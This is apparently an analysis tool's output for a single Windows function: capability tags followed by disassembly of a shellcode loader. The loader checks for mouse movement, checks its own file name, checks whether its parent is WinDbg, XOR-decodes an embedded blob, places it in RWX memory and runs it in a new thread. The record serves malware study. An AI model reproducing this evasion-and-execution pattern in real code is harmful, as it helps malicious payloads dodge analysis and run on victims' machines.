Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Create thread
Enumerate processes
Execute command
Spawn thread to rwx shellcode

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x608]
sub rsp, 0x700
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
movaps xmmword [r11 - 0x18], xmm6
lea rcx, [rsp + 0x40]
movaps xmmword [r11 - 0x28], xmm7
movaps xmmword [r11 - 0x38], xmm8
movaps xmmword [r11 - 0x48], xmm9
call qword [sym.imp.USER32.dll_GetCursorPos]
movsd xmm9, qword [0x140003528]
xorps xmm7, xmm7
movsd xmm8, qword [0x140003530]
nop word [rax + rax]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rsp + 0x3c]
movaps xmm1, xmm9
sub eax, dword [rsp + 0x44]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
mov eax, dword [rsp + 0x38]
movaps xmm6, xmm0
sub eax, dword [rsp + 0x40]
movaps xmm1, xmm9
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
addsd xmm6, xmm0
xorps xmm1, xmm1
ucomisd xmm1, xmm6
ja 0x140001126
xorps xmm0, xmm0
sqrtsd xmm0, xmm6
jmp 0x14000112e
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
mov ecx, 0x64
addsd xmm7, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
comisd xmm7, xmm8
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
jbe 0x1400010d0
movaps xmm9, xmmword [rsp + 0x6c0]
lea rdx, [rbp + 0x190]
movaps xmm8, xmmword [rsp + 0x6d0]
mov r8d, 0x105
movaps xmm7, xmmword [rsp + 0x6e0]
xor ecx, ecx
movaps xmm6, xmmword [rsp + 0x6f0]
mov qword [rsp + 0x710], rbx
mov qword [rsp + 0x720], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x190]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.MALWEAR.EXE
lea rcx, [rbp + 0x190]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x1400014aa
mov qword [rsp + 0x718], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x234
mov edi, eax
xor esi, esi
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rsp + 0x50], 0x238
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x50]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000122e
nop dword [rax + rax]
cmp dword [rsp + 0x58], edi
je 0x14000122a
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001210
jmp 0x14000122e
mov esi, dword [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
mov dword [rsp + 0x30], 0x104
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r9, [rsp + 0x30]
xor edx, edx
mov rcx, rax
lea r8, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.WINDBG.EXE
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
mov rsi, qword [rsp + 0x718]
test rax, rax
jne 0x1400014aa
mov ebx, 3
lea rcx, [rsp + 0x50]
mov eax, ebx
lea rdx, [0x140003310]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400012b0
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
movzx eax, word [rdx + 0x78]
mov word [rcx + 0x78], ax
movzx eax, byte [rdx + 0x7a]
lea rdx, [rsp + 0x50]
mov byte [rcx + 0x7a], al
xor ecx, ecx
movzx eax, byte [rdx]
test al, al
je 0x14000137f
mov r8d, eax
test cl, 1
jne 0x14000137b
mov eax, ecx
and eax, 0x8000001f
jge 0x140001376
dec eax
or eax, 0xffffffe0
inc eax
xor eax, r8d
jmp 0x14000137d
inc eax
mov byte [rdx], al
inc ecx
inc rdx
cmp ecx, 0x1fb
jb 0x140001357
xor ecx, ecx
mov edx, 0x1fb
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1400014aa
mov rcx, rax
lea rdx, [rsp + 0x50]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x1400013c0
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
movzx eax, word [rdx + 0x78]
mov word [rcx + 0x78], ax
movzx eax, byte [rdx + 0x7a]
mov byte [rcx + 0x7a], al
lea rcx, str.Success_n
call fcn.140001010
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rdi
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1400014aa
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x720]
xor eax, eax
mov rbx, qword [rsp + 0x710]
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.1400014f0
add rsp, 0x700
pop rbp
ret